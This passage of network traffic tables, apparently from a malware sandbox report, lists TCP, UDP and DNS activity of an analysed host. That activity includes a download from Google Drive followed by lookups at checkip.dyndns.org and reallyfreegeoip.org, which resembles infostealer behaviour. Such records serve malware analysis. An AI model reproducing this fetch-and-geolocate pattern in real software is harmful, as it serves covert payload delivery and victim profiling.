Mar 7, 2025 21:24:54.090358019 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.090476036 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.092855930 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.092928886 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.092935085 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.093173027 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.095827103 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.095869064 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.095875978 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.095918894 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.098519087 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.098619938 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.098624945 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.098824024 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.101427078 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.101504087 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.101524115 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.101557016 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.101563931 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.101617098 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.104330063 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.104558945 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.104563951 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.104629040 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.108064890 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.108114958 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.113271952 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.113327026 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.113359928 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.113359928 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.113364935 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.113459110 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.114554882 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.114625931 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.114692926 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.114738941 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.141351938 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.141401052 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.141433001 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.141453028 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.141462088 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.141484022 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.141522884 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.141535044 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.141571045 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.141623020 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.141695976 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.141701937 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.141745090 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.142365932 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.142405033 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.142406940 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.142415047 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.142436028 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.142471075 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.143084049 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.143124104 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.143126011 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.143132925 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.143157005 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.143177986 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.143193960 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.143234015 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.148449898 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.148503065 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.149051905 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.149096966 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.149117947 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.149122953 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.149137974 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.149166107 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.150181055 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.150227070 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.150233030 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.150271893 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.153342962 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.153386116 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.153392076 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.153431892 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.154797077 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.154844046 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.154850006 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.154882908 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.157063961 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.157121897 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.157126904 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.157162905 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.159456015 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.159625053 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.159631014 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.159672022 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.161617041 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.161667109 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.161670923 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.161705971 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.163959980 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.164001942 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.164012909 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.164046049 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.166230917 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.166275024 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.166280031 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.166313887 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.168459892 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.168502092 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.168582916 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.168621063 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.170846939 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.170893908 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.170898914 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.170934916 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.173069954 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.173116922 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.173122883 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.173161983 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.173166990 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.173197985 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.175412893 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.175473928 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.175477982 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.175513029 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.180299997 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.180421114 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.180425882 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.180460930 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.181301117 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.181346893 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.181353092 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.181386948 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.185906887 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.185956955 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.186367035 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.186431885 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.186436892 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.186496019 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.187510967 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.187571049 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.187576056 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.187613964 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.194144964 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.194217920 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.194222927 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.194272041 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.208159924 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.208240032 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.208245039 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.208281040 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.212774992 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.212821007 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.212826014 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.212863922 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.213588953 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.213638067 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.213641882 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.213677883 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.215368032 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.215425968 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.215430975 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.215472937 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.217120886 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.217174053 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.217178106 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.217219114 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.220077991 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.220125914 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.220129967 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.220168114 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.222961903 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.223011971 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.223016024 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.223059893 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.223817110 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.223862886 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.223866940 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.223910093 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.225361109 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.225405931 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.225409985 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.225454092 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.226823092 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.226872921 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.226877928 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.226918936 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.228185892 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.228229046 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.228234053 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.228272915 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.229736090 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.229788065 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.229794025 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.229834080 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.233886957 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.233936071 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.233978987 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.234019041 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.234528065 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.234569073 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.234617949 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.234653950 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.235965014 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.236016989 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.236021042 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.236057043 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.237590075 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.237641096 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.237644911 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.237693071 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.239075899 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.239113092 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.239195108 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.239231110 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.240665913 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.240700960 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.240705967 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.240740061 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.241920948 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.241956949 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.242022038 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.242055893 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.243614912 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.243649960 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.243654966 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.243685961 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.247236967 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.247289896 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.247345924 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.247381926 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.247965097 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.248003960 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.248009920 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.248043060 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.249456882 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.249500990 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.249515057 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.249547005 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.250902891 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.250957012 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.250961065 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.251008034 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.256179094 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.256222010 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.256227016 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.256261110 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.256294966 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.256330967 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.256375074 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.858068943 CET	49694	80	192.168.2.6	193.122.6.168
Mar 7, 2025 21:24:54.864051104 CET	80	49694	193.122.6.168	192.168.2.6
Mar 7, 2025 21:24:54.864135027 CET	49694	80	192.168.2.6	193.122.6.168
Mar 7, 2025 21:24:54.864650965 CET	49694	80	192.168.2.6	193.122.6.168
Mar 7, 2025 21:24:54.869707108 CET	80	49694	193.122.6.168	192.168.2.6
Mar 7, 2025 21:24:55.571259022 CET	80	49694	193.122.6.168	192.168.2.6
Mar 7, 2025 21:24:55.622659922 CET	49694	80	192.168.2.6	193.122.6.168
Mar 7, 2025 21:24:55.896656036 CET	49694	80	192.168.2.6	193.122.6.168
Mar 7, 2025 21:24:55.901972055 CET	80	49694	193.122.6.168	192.168.2.6
Mar 7, 2025 21:24:56.085607052 CET	80	49694	193.122.6.168	192.168.2.6
Mar 7, 2025 21:24:56.138287067 CET	49694	80	192.168.2.6	193.122.6.168
Mar 7, 2025 21:24:56.739701033 CET	49695	443	192.168.2.6	104.21.48.1
Mar 7, 2025 21:24:56.739762068 CET	443	49695	104.21.48.1	192.168.2.6
Mar 7, 2025 21:24:56.739923954 CET	49695	443	192.168.2.6	104.21.48.1
Mar 7, 2025 21:24:56.742656946 CET	49695	443	192.168.2.6	104.21.48.1
Mar 7, 2025 21:24:56.742669106 CET	443	49695	104.21.48.1	192.168.2.6
Mar 7, 2025 21:24:58.529619932 CET	443	49695	104.21.48.1	192.168.2.6
Mar 7, 2025 21:24:58.529839039 CET	49695	443	192.168.2.6	104.21.48.1
Mar 7, 2025 21:24:58.533454895 CET	49695	443	192.168.2.6	104.21.48.1
Mar 7, 2025 21:24:58.533468008 CET	443	49695	104.21.48.1	192.168.2.6
Mar 7, 2025 21:24:58.533821106 CET	443	49695	104.21.48.1	192.168.2.6
Mar 7, 2025 21:24:58.536587000 CET	49695	443	192.168.2.6	104.21.48.1
Mar 7, 2025 21:24:58.584330082 CET	443	49695	104.21.48.1	192.168.2.6
Mar 7, 2025 21:24:59.010867119 CET	443	49695	104.21.48.1	192.168.2.6
Mar 7, 2025 21:24:59.010958910 CET	443	49695	104.21.48.1	192.168.2.6
Mar 7, 2025 21:24:59.011027098 CET	49695	443	192.168.2.6	104.21.48.1
Mar 7, 2025 21:24:59.174309015 CET	49695	443	192.168.2.6	104.21.48.1
Mar 7, 2025 21:24:59.287189960 CET	49694	80	192.168.2.6	193.122.6.168
Mar 7, 2025 21:24:59.292445898 CET	80	49694	193.122.6.168	192.168.2.6
Mar 7, 2025 21:24:59.476700068 CET	80	49694	193.122.6.168	192.168.2.6
Mar 7, 2025 21:24:59.528970003 CET	49694	80	192.168.2.6	193.122.6.168
Mar 7, 2025 21:24:59.618148088 CET	49696	443	192.168.2.6	104.21.48.1
Mar 7, 2025 21:24:59.618182898 CET	443	49696	104.21.48.1	192.168.2.6
Mar 7, 2025 21:24:59.618289948 CET	49696	443	192.168.2.6	104.21.48.1
Mar 7, 2025 21:24:59.618664026 CET	49696	443	192.168.2.6	104.21.48.1
Mar 7, 2025 21:24:59.618680000 CET	443	49696	104.21.48.1	192.168.2.6
Mar 7, 2025 21:25:01.387388945 CET	443	49696	104.21.48.1	192.168.2.6
Mar 7, 2025 21:25:01.397145033 CET	49696	443	192.168.2.6	104.21.48.1
Mar 7, 2025 21:25:01.397185087 CET	443	49696	104.21.48.1	192.168.2.6
Mar 7, 2025 21:25:01.952718973 CET	443	49696	104.21.48.1	192.168.2.6
Mar 7, 2025 21:25:01.952796936 CET	443	49696	104.21.48.1	192.168.2.6
Mar 7, 2025 21:25:01.952936888 CET	49696	443	192.168.2.6	104.21.48.1
Mar 7, 2025 21:25:01.953294992 CET	49696	443	192.168.2.6	104.21.48.1
Mar 7, 2025 21:25:01.962924004 CET	49694	80	192.168.2.6	193.122.6.168
Mar 7, 2025 21:25:01.964173079 CET	49697	80	192.168.2.6	193.122.6.168
Mar 7, 2025 21:25:01.970916986 CET	80	49694	193.122.6.168	192.168.2.6
Mar 7, 2025 21:25:01.970976114 CET	49694	80	192.168.2.6	193.122.6.168
Mar 7, 2025 21:25:01.971836090 CET	80	49697	193.122.6.168	192.168.2.6
Mar 7, 2025 21:25:01.971909046 CET	49697	80	192.168.2.6	193.122.6.168
Mar 7, 2025 21:25:01.972034931 CET	49697	80	192.168.2.6	193.122.6.168
Mar 7, 2025 21:25:01.979640961 CET	80	49697	193.122.6.168	192.168.2.6
Mar 7, 2025 21:25:05.830410957 CET	80	49697	193.122.6.168	192.168.2.6
Mar 7, 2025 21:25:05.833936930 CET	49697	80	192.168.2.6	193.122.6.168
Mar 7, 2025 21:25:05.835052967 CET	49698	443	192.168.2.6	104.21.48.1
Mar 7, 2025 21:25:05.835103989 CET	443	49698	104.21.48.1	192.168.2.6
Mar 7, 2025 21:25:05.837022066 CET	49698	443	192.168.2.6	104.21.48.1
Mar 7, 2025 21:25:05.837158918 CET	49698	443	192.168.2.6	104.21.48.1
Mar 7, 2025 21:25:05.837168932 CET	443	49698	104.21.48.1	192.168.2.6
Mar 7, 2025 21:25:05.839152098 CET	80	49697	193.122.6.168	192.168.2.6
Mar 7, 2025 21:25:05.839219093 CET	49697	80	192.168.2.6	193.122.6.168
Mar 7, 2025 21:25:07.571748018 CET	443	49698	104.21.48.1	192.168.2.6
Mar 7, 2025 21:25:07.622793913 CET	49698	443	192.168.2.6	104.21.48.1
Mar 7, 2025 21:25:09.417537928 CET	49698	443	192.168.2.6	104.21.48.1
Mar 7, 2025 21:25:09.417613029 CET	443	49698	104.21.48.1	192.168.2.6
Mar 7, 2025 21:25:09.833189964 CET	443	49698	104.21.48.1	192.168.2.6
Mar 7, 2025 21:25:09.833265066 CET	443	49698	104.21.48.1	192.168.2.6
Mar 7, 2025 21:25:09.833316088 CET	49698	443	192.168.2.6	104.21.48.1
Mar 7, 2025 21:25:09.833659887 CET	49698	443	192.168.2.6	104.21.48.1
Mar 7, 2025 21:25:09.837951899 CET	49699	80	192.168.2.6	193.122.6.168
Mar 7, 2025 21:25:09.843947887 CET	80	49699	193.122.6.168	192.168.2.6
Mar 7, 2025 21:25:09.844038963 CET	49699	80	192.168.2.6	193.122.6.168
Mar 7, 2025 21:25:09.844084978 CET	49699	80	192.168.2.6	193.122.6.168
Mar 7, 2025 21:25:09.849982977 CET	80	49699	193.122.6.168	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 7, 2025 21:24:45.378933907 CET	59810	53	192.168.2.6	1.1.1.1
Mar 7, 2025 21:24:45.386387110 CET	53	59810	1.1.1.1	192.168.2.6
Mar 7, 2025 21:24:48.827749968 CET	52017	53	192.168.2.6	1.1.1.1
Mar 7, 2025 21:24:48.836549044 CET	53	52017	1.1.1.1	192.168.2.6
Mar 7, 2025 21:24:54.841675043 CET	63458	53	192.168.2.6	1.1.1.1
Mar 7, 2025 21:24:54.849776983 CET	53	63458	1.1.1.1	192.168.2.6
Mar 7, 2025 21:24:56.620649099 CET	58141	53	192.168.2.6	1.1.1.1
Mar 7, 2025 21:24:56.738864899 CET	53	58141	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 7, 2025 21:24:45.378933907 CET	192.168.2.6	1.1.1.1	0x4819	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Mar 7, 2025 21:24:48.827749968 CET	192.168.2.6	1.1.1.1	0xfc6b	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Mar 7, 2025 21:24:54.841675043 CET	192.168.2.6	1.1.1.1	0x64e1	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Mar 7, 2025 21:24:56.620649099 CET	192.168.2.6	1.1.1.1	0x34ad	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 7, 2025 21:24:45.386387110 CET	1.1.1.1	192.168.2.6	0x4819	No error (0)	drive.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
